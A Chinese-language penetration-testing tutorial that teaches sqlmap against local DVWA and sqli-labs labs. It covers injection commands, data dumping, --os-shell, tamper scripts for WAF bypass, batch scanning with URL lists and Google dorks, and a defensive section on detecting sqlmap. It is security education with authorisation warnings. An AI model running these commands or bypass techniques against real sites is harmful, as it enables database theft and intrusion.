03-SQL注入工具实战:sqlmap使用、参数详解、批量扫描方案
合规声明 :sqlmap 是一款攻击性极强的工具,用它测试任何未经授权的网站都是违法行为,可能触犯《刑法》第285条、第286条。本文所有演示仅针对本地靶场(127.0.0.1 上的 DVWA / sqli-labs)。企业环境中使用需持有书面授权(渗透测试授权书/SRC授权范围)。
一、sqlmap 是什么:把你上一篇的手工流程自动化
上一篇你手工走完了"判断注入 → 闭合 → union/盲注 → 爆库爆表 → 拖数据"全流程。sqlmap 做的就是把这套流程自动化、并发化、智能化:
- 你手工要猜闭合方式,它自动尝试单引号、双引号、括号等所有组合
- 你手工要二分猜字符,它自动发请求做布尔/时间盲注(还自动计算时间阈值)
- 你手工爆表要一格格翻,它直接
--dump全表导出成 CSV
**一句话定位:sqlmap = 你的手工注入技能 × 自动化引擎。**所以上一篇的手工基础是这篇的前置条件------看不懂它的 payload,你就无法判断结果是真漏洞还是误报。
二、安装与环境准备
2.1 Kali Linux(推荐)
Kali 自带 sqlmap,开箱即用:
bash
sqlmap --version # 查看版本,能出版本号即可用
2.2 Windows / 普通Linux 手动安装
bash
# 方式一:pip 安装(Python 3.8+)
pip install sqlmap
sqlmap --version
# 方式二:源码(免安装,持续最新)
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git
cd sqlmap
python sqlmap.py --version
逐行解释:
pip install sqlmap:从 PyPI 安装,最简单,但更新略滞后git clone:直接拉源码,sqlmap 是纯 Python 项目,clone 下来就能跑,推荐想用最新版绕过能力的人用这种
依赖:仅需 Python 3,无其他第三方依赖(自带驱动处理)。本篇演示环境:Kali + 本地 DVWA(http://192.168.56.101/dvwa/,读者按自己靶场 IP 替换)。
三、第一次注入:五分钟上手
3.1 最小可用命令
bash
sqlmap -u "http://192.168.56.101/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --batch
参数逐个解释:
-u:指定目标 URL(target URL),注意必须带上存在注入的参数 (这里是id=1)--batch:全自动模式,所有交互式提问(如"是否继续""使用哪个payload")自动选择默认项。新手必加,否则会被问懵- URL 中
&Submit=Submit:DVWA 要求表单提交参数齐全,实际以你抓包看到的完整 URL 为准
运行后关注这几段输出:
csharp
[INFO] testing connection to the target URL ← 连通性测试
[INFO] testing if the target URL content is stable ← 页面稳定性检测(判断误报的前提)
[INFO] heuristic (basic) SQL injection detection ... ← 启发式检测(先试探数据库类型)
GET parameter 'id' is vulnerable. Do you want to keep testing the others? [Y/n/q]
→ Payload: id=1' AND 8855=8855 AND 'xSGa'='xSGa' ← 确认注入的payload
[INFO] the back-end DBMS is MySQL ← 后端数据库识别
is vulnerable + Payload 就是注入实锤:sqlmap 用 1' AND 8855=8855 这种"恒真条件"验证了你上一篇手工做过的 and '1'='1 流程。
3.2 会话保持的坑:DVWA 需要登录
DVWA 的漏洞页面要登录后才能访问,直接 -u 会拿到登录页。两种解决方式:
方式一:带 Cookie
bash
sqlmap -u "http://192.168.56.101/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="PHPSESSID=xxxxxxxxxxxxxxxx; security=low" --batch
--cookie:附加会话 Cookie。PHPSESSID 从浏览器 F12 → Application → Cookies 里复制security=low:DVWA 的安全等级 Cookie,必须带上,否则默认难度可能不回显
方式二(推荐):请求文件 -r
bash
# 1. 浏览器装 Burp 代理,在漏洞页面随便提交一次 id=1
# 2. Burp 的 HTTP history 里找到该请求,右键 → Save item,或直接复制原始请求文本存为 post.txt:
ini
GET /dvwa/vulnerabilities/sqli/?id=1&Submit=Submit HTTP/1.1
Host: 192.168.56.101
Cookie: PHPSESSID=xxxxxx; security=low
User-Agent: Mozilla/5.0
bash
sqlmap -r post.txt --batch
-r:直接加载完整 HTTP 请求文件,Cookie、头部、POST 数据原样保留,还能自动识别其中所有可测参数。实战中这是最常用、最省事的方式,尤其适合 POST 注入(见第五节)
四、核心参数详解:注入后的标准动作链
确认注入后,按"爆库 → 爆表 → 爆列 → 拖数据"的顺序使用以下参数(与上一篇手工流程一一对应)。
4.1 枚举系列( Enumeration)
bash
sqlmap -u <目标URL> [会话参数] --dbs # 爆所有数据库名
sqlmap -u <目标URL> [会话参数] -D dvwa --tables # 指定库 dvwa,爆所有表
sqlmap -u <目标URL> [会话参数] -D dvwa -T users --columns # 爆 users 表的列
sqlmap -u <目标URL> [会话参数] -D dvwa -T users --dump # 拖 users 表全表数据
参数解释:
--dbs:枚举数据库(databases,复数)-D:指定目标数据库(Database),后续枚举的范围限定在它-T:指定目标表(Table)--tables/--columns:枚举表 / 枚举列--dump:导出表数据,自动存为 CSV(路径在输出里,通常在~/.sqlmap/output/目标域名/dump/)- 链式记忆:
--dbs→-D xxx --tables→-D xxx -T yyy --columns→-D xxx -T yyy --dump,和手工 information_schema 三连完全同构
--dump 时如果遇到密码哈希,sqlmap 还会询问是否用自带字典尝试破解(--batch 下自动选否,加 --passwords 可专门破解哈希)。
4.2 探测深度:--level 与 --risk
bash
sqlmap -u "目标URL" --level=3 --risk=2 --batch
--level(默认 1,最高 5):检测范围 。1 只测 GET/POST 参数;2 加测 Cookie;3 加测 User-Agent/Referer 头;4、5 更深。怀疑 Cookie/Header 注入时必须 ≥3--risk(默认 1,最高 3):payload 侵略性。1 用安全 payload;2 加入基于时间的关键词 OR 注入(可能改数据,如 UPDATE 语句场景下危险);3 加 OR 类 payload(会对每条记录生效)。日常 1,确认有洞测不深时升 2- 经验:默认参数测不出 ≠ 没洞 。遇到"感觉有注入但 sqlmap 没测出来",先
--level=3再说
4.3 技术限定:--technique
bash
sqlmap -u "目标URL" --technique=BT --batch
--technique:限定注入技术,取值对应五种方式:B:布尔盲注(Boolean-based blind)E:报错注入(Error-based)U:union 联合查询(Union query-based)S:堆叠查询(Stacked queries)T:时间盲注(Time-based blind)
- 用途:目标环境慢/网络延迟大时,先禁用 T(时间盲注每字符都要等延迟);只要数据快就指定
U或E;--technique=T单独验证时间盲注
4.4 数据库信息:指纹与当前权限
bash
sqlmap -u "目标URL" --banner --current-user --current-db --is-dba --batch
--banner:数据库版本横幅(如MySQL 5.7.36)--current-user:当前连接的数据库用户--current-db:当前库--is-dba:判断当前用户是否 DBA 权限(是则--os-shell等高级操作有戏)
4.5 其他高频参数
| 参数 | 作用 | 使用场景 |
|---|---|---|
--forms |
自动解析页面表单并测试 | 目标只有表单没明确URL时 |
--threads=10 |
并发线程数(默认1) | 盲注提速(别开太大防打崩目标) |
--flush-session |
清除该目标的历史缓存重测 | 改了参数后 sqlmap 仍用旧结果时 |
--smart |
启发式快速判断,只对"像有洞"的参数深测 | 大批量预筛 |
--tamper=xxx |
payload 混淆绕 WAF(第六节详解) | 目标有 WAF 时 |
--random-agent |
随机 User-Agent | 绕过 UA 黑名单 |
--proxy="http://127.0.0.1:8080" |
走 Burp 代理 | 想在 Burp 里观察 sqlmap 流量 |
--os-shell / --sql-shell |
拿系统/SQL 交互式 shell | 提权后操作(高危,仅授权环境) |
强烈建议新手加 --proxy 跑一遍:在 Burp 里亲眼看着 sqlmap 发出的每一个 payload,这是"看懂工具"最快的路径。
五、POST 与 Cookie 注入:实战最常见场景
5.1 POST 注入(登录框类)
sqli-labs Less-11 是典型 POST 登录注入。用请求文件最方便:
bash
# 抓包保存原始请求为 less11.txt(POST /sqli-labs/Less-11/ HTTP/1.1 ...)
# body: uname=admin&passwd=admin&submit=Submit
sqlmap -r less11.txt --batch
sqlmap 自动识别 POST body 中的 uname、passwd 参数并逐一测试。
也可用显式参数:
bash
sqlmap -u "http://192.168.56.101/sqli-labs/Less-11/" \
--data="uname=admin&passwd=admin&submit=Submit" --batch
--data:指定 POST body。sqlmap 会对其中每个参数做注入测试- 想指定只测某个参数:加
-p uname(-p指定参数名,多参数场景减少无效测试)
5.2 Cookie 注入(Level 2+ 才能测)
有些注入点在 Cookie 里(如 sqli-labs Less-20,uagent/uname cookie):
bash
sqlmap -u "http://192.168.56.101/sqli-labs/Less-20/" \
--cookie="uname=admin" --level=2 --batch
- 关键点:
--level=2,否则 sqlmap 根本不测 Cookie。用-r方式时同样需要--level=2 - 同理,User-Agent/Referer 注入需要
--level=3(可加-p "User-Agent"精确指定)
六、tamper 绕 WAF:payload 的"变形金刚"
6.1 tamper 是什么
WAF(Web 应用防火墙)会拦截 union select、sleep(、and 1=1 等明显特征。tamper 是 sqlmap 的payload 后处理脚本:在 payload 发出前,自动做编码、大小写变换、注释拆分等变形,骗过特征检测。
bash
sqlmap -u "目标URL" --tamper=space2comment --batch
--tamper=脚本名:加载 tamper 脚本(在sqlmap/tamper/目录下,自带 80+ 个)- 上面例子的效果:payload 中所有空格被替换为
/**/注释,如union/**/select------语义不变,特征已变
6.2 常用 tamper 速查
| tamper | 变形效果 | 适用 |
|---|---|---|
space2comment |
空格 → /**/ |
通用 WAF |
between |
> → NOT BETWEEN 0 AND |
过滤比较符 |
charencode |
URL 编码变形 | 轻量检测 |
randomcase |
随机大小写 UnIoN SeLeCt |
关键词大小写匹配的 WAF |
equaltolike |
= → LIKE |
过滤等号 |
space2plus |
空格 → + |
过滤空格 |
space2randomblank |
空格 → 随机空白字符(%09、%0a...) | 过滤空格 |
apostrophemask |
引号 → URL 编码 %EF%BC%87(宽字节场景) |
GBK 编码站 |
unmagicquotes |
绕过 magic_quotes/addslashes 转义 |
老站 |
chardoubleencode |
双重 URL 编码 | 只解一层编码的 WAF |
可以多个组合:--tamper=space2comment,randomcase(逗号分隔,依次处理)。
6.3 选 tamper 的方法论(不是乱试)
- 先手工搞清楚 WAF 拦什么 :Burp 手工发
union select看拦截页,再分别试大小写、注释、编码------知道它拦"什么特征",才知道用哪个 tamper - 看数据库类型 :部分 tamper 是 MySQL/Oracle 专属(如
apostrophemask配宽字节只对 GBK+MySQL 有意义) - 组合原则 :编码类 + 结构类各选一个,如
randomcase,space2comment - tamper 不是万能的:如果 WAF 是语义分析型(RASP),变形也绕不过,需要更底层的手工手段(超出本篇范围,记住有这回事即可)
七、批量扫描方案:从"一个站"到"一堆站"
7.1 -m 批量 URL
bash
# urls.txt 每行一个带参数的URL:
# http://target1.com/news.php?id=1
# http://target2.com/item.php?cat=3
sqlmap -m urls.txt --batch --smart
-m:批量目标文件,每行一个 URL,sqlmap 依次测试(可配合--threads提速)--smart:先做启发式快速判断,"不像有洞"的快速跳过,大幅缩短批量时间
7.2 结合 Burp 日志批量测试
挖洞时 Burp 记录了成百上千个请求,全部导出再筛:
bash
# Burp: Proxy → HTTP history → 右键 Save items(保存为 burp.log,含完整请求)
sqlmap -l burp.log --batch --smart --scope="http://授权目标\.com/.*"
-l:加载 Burp 日志,自动解析其中所有请求并测试--scope:正则限定测试范围,只测授权域名------批量场景的安全带,必系
7.3 谷歌语法批量找目标(仅限授权/SRC 范围)
bash
sqlmap -g "inurl:news.php?id=1 site:授权目标域.com" --batch
-g:按 Google dork 搜索并测试结果。注意:真实环境必须严格限定授权域,否则第一脚就踩进违法区。这里列出仅为完整性,新手请跳过此参数
7.4 批量工程的三条纪律
- 限速 :
--delay=1(每次请求间隔1秒)+--threads别超 5,防止把目标打崩(也防止触发封禁) - 范围锁定 :
--scope或提前清洗 URL 列表,绝不越授权边界 - 结果复核 :批量结果里
is vulnerable的目标,抽查 1-2 个手工验证(工具永远有误报可能),确认后写入报告
八、检测与防御:站在蓝队视角反制 sqlmap
知己知彼。作为防守方(或安全评估中的"红蓝对抗"),要能检测并阻断 sqlmap:
8.1 sqlmap 的指纹特征(检测点)
- UA 指纹 :默认 User-Agent 是
sqlmap/1.x.x(可被--random-agent绕过,所以不能只防这个) - 请求模式 :海量结构相似、参数值规律变化的请求(
8855=8855这类随机数字恒真式);盲注时同一 URL 高频请求、响应时间呈二分模式 - 探测路径 :自动访问
/sqlmap/null/(早期版本连接测试特征)、大量尝试information_schema相关查询 - payload 特征库 :
AND 8855=8855、UNION ALL SELECT、sleep(5)、BENCHMARK(等命中 WAF 特征库
8.2 防御方案分层
- 应用层(根治):上一章的参数化查询------漏洞不存在,工具再强也无洞可打
- WAF 层:开启 SQL 注入规则集(如 ModSecurity OWASP CRS、云 WAF),拦截特征 payload;配合限频(单 IP 高频相似请求触发验证码/封禁)
- 监测层:日志审计(如 Wazuh/自研脚本)对 SQL 报错率、单参数请求频率设阈值告警;数据库审计插件记录异常查询
- 网络层:封禁 sqlmap 默认 UA 与已知扫描器特征;对管理后台做 IP 白名单
8.3 自测实验
在本地靶场前挂一层云 WAF 或本地 ModSecurity,再用 sqlmap 打一次,观察被拦截的 payload → 换 tamper 再打 → 成功与否都记入笔记。这套"攻防对照实验"做完,你对"WAF 不是银弹,参数化才是根治"这句话会有切身体会。
九、小结
本篇核心脉络:
- 定位:sqlmap 自动化的是你上一篇的手工流程,看不懂手工就看不懂工具
- 上手 :
-u起步、会话用--cookie或-r请求文件(推荐后者) - 动作链 :
--dbs→-D --tables→-D -T --columns→--dump,与手工 information_schema 流程同构 - 深度与广度 :
--level(测哪里)与--risk(多激进)调档;--technique限定 B/E/U/S/T - 场景 :POST 用
--data或-r;Cookie/Header 注入必须--level=2/3 - 绕 WAF:tamper 做 payload 变形,选择靠"先弄清 WAF 拦什么",不是乱试
- 批量 :
-mURL 列表、-lBurp 日志、--scope锁定授权范围 - 防守:UA/请求模式指纹检测 + WAF + 限频 + 日志审计,根治依然是参数化查询
课后作业:① 用 -r 方式对 DVWA SQL Injection(Low/Medium 各一次)完成全流程爆库拖表;② 加 --proxy 走 Burp 观察 10 条 payload 并解释它们对应的手工动作;③ 挑两个 tamper,对比变形前后的 payload 写进笔记。
下一篇换个口味:不再钻数据库,去浏览器里搞事情------XSS 跨站脚本攻击。